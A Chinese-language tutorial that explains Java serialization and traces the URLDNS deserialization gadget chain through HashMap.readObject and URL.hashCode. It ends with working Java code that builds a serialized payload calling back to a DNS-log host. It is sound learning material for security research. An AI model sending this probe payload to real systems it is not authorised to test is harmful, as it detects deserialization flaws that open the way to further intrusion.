在分析URLDNS之前，必须了解JAVA序列化和反序列化的基本概念。
其中几个重要的概念：
需要让某个对象支持序列化机制，就必须让其类是可序列化，为了让某类可序列化的，该类就必须实现如下两个接口之一：
Serializable：标记接口，没有方法
Externalizable：该接口有方法需要实现，一般不用这种
序列化对象时，默认将里面所有属性都进行序列化，但除了static或transient修饰的成员。
序列化具备可继承性，也就是如果某类已经实现了序列化，则它的所有子类也已经默认实现了序列化。
ObjectOutputStream：提供序列化功能
ObjectInputStream：提供反序列化功能
序列化方法：
.writeObject()
反序列化方法：
.readObject()
既然反序列化方法.readObject()，所以通常会在类中重写该方法，为实现反序列化的时候自动执行。
public class Urldns implements Serializable {
public static void main(String[] args) throws Exception {
Urldns urldns = new Urldns();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("d:\\urldns.txt"));
objectOutputStream.writeObject(urldns);
}
public void run(){
System.out.println("urldns run");
}
private void readObject(ObjectInputStream s) throws IOException, ClassNotFoundException {
System.out.println("urldns readObject");
s.defaultReadObject();
}
}对这个测试类Urldns做序列化后，反序列化的时候执行了重写的readobject方法。
import java.io.*;
public class Serializable_run implements Serializable{
public void run(ObjectInputStream s) throws IOException, ClassNotFoundException {
s.readObject();
}
public static void main(String[] args) throws Exception {
Serializable_run serializable_run = new Serializable_run();
serializable_run.run(new ObjectInputStream(new FileInputStream("d:\\urldns.txt")));
}
}所以只要对readobject方法做重写就可以实现在反序列化该类的时候得到执行。
利用链的思路大致如此，那么分析URLDNS的利用链。
public Object getObject(final String url) throws Exception {
//Avoid DNS resolution during payload creation
//Since the field <code>java.net.URL.handler</code> is transient, it will not be part of the serialized payload.
URLStreamHandler handler = new SilentURLStreamHandler();
HashMap ht = new HashMap(); // HashMap that will contain the URL
URL u = new URL(null, url, handler); // URL to use as the Key
ht.put(u, url); //The value can be anything that is Serializable, URL as the key is what triggers the DNS lookup.
Reflections.setFieldValue(u, "hashCode", -1); // During the put above, the URL's hashCode is calculated and cached. This resets that so the next time hashCode is called a DNS lookup will be triggered.
return ht;
}该类实际返回HashMap类型，但是HashMap用来用来存储数据的数组是transient，序列化时忽略数据。
因为HashMap重写了writeobject方法，在writeobject实现了对数据的序列化。
还存在重写readobject方法，那么分析readobject中的内容。
private void readObject(java.io.ObjectInputStream s)
throws IOException, ClassNotFoundException {
// Read in the threshold (ignored), loadfactor, and any hidden stuff
s.defaultReadObject();
reinitialize();
if (loadFactor <= 0 || Float.isNaN(loadFactor))
throw new InvalidObjectException("Illegal load factor: " +
loadFactor);
s.readInt(); // Read and ignore number of buckets
int mappings = s.readInt(); // Read number of mappings (size)
if (mappings < 0)
throw new InvalidObjectException("Illegal mappings count: " +
mappings);
else if (mappings > 0) { // (if zero, use defaults)
// Size the table using given load factor only if within
// range of 0.25...4.0
float lf = Math.min(Math.max(0.25f, loadFactor), 4.0f);
float fc = (float)mappings / lf + 1.0f;
int cap = ((fc < DEFAULT_INITIAL_CAPACITY) ?
DEFAULT_INITIAL_CAPACITY :
(fc >= MAXIMUM_CAPACITY) ?
MAXIMUM_CAPACITY :
tableSizeFor((int)fc));
float ft = (float)cap * lf;
threshold = ((cap < MAXIMUM_CAPACITY && ft < MAXIMUM_CAPACITY) ?
(int)ft : Integer.MAX_VALUE);
// Check Map.Entry[].class since it's the nearest public type to
// what we're actually creating.
SharedSecrets.getJavaOISAccess().checkArray(s, Map.Entry[].class, cap);
@SuppressWarnings({"rawtypes","unchecked"})
Node<K,V>[] tab = (Node<K,V>[])new Node[cap];
table = tab;
// Read the keys and values, and put the mappings in the HashMap
for (int i = 0; i < mappings; i++) {
@SuppressWarnings("unchecked")
K key = (K) s.readObject();
@SuppressWarnings("unchecked")
V value = (V) s.readObject();
putVal(hash(key), key, value, false, false);
}
}
}触发：
putVal(hash(key), key, value, false, false);
触发：
static final int hash(Object key) {
int h;
return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}这里的key对象如果是URL对象，那么就
public synchronized int hashCode() {
if (hashCode != -1)
return hashCode;
hashCode = handler.hashCode(this);
return hashCode;
}public synchronized int hashCode() {
if (hashCode != -1)
return hashCode;
hashCode = handler.hashCode(this);
return hashCode;
}protected synchronized InetAddress getHostAddress(URL u) {
if (u.hostAddress != null)
return u.hostAddress;
String host = u.getHost();
if (host == null || host.equals("")) {
return null;
} else {
try {
u.hostAddress = InetAddress.getByName(host);
} catch (UnknownHostException ex) {
return null;
} catch (SecurityException se) {
return null;
}
}
return u.hostAddress;
}在hashCode=-1的时候，可以触发DNS请求，而hashCode私有属性默认值为-1。
所以为了实现readobject方法的DNS请求，接下来要做的是：
1、制造一个HashMap对象，且key值为URL对象；
2、保持私有属性hashcode为-1；
所以构造DNS请求的HashMap对象内容应该是：
public class Urldns implements Serializable {
public static void main(String[] args) throws Exception {
HashMap map = new HashMap();
URL url = new URL("http://ixw9i.8n6xsg.dnslogimalloc.xyz");
Class<?> aClass = Class.forName("java.net.URL");
Field hashCode = aClass.getDeclaredField("hashCode");
hashCode.setAccessible(true);
hashCode.set(url,1);
map.put(url, "xzjhlk");
hashCode.set(url,-1);
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("d:\\urldns.txt"));
objectOutputStream.writeObject(map);
}
}至于为什么在序列化的时候要通过反射将url对象中的hashCode属性稍微非-1，是因为hashCode的put方法也实际调用的是putVal(hash(key), key, value, false, true);
这个过程将触发一次DNS请求。
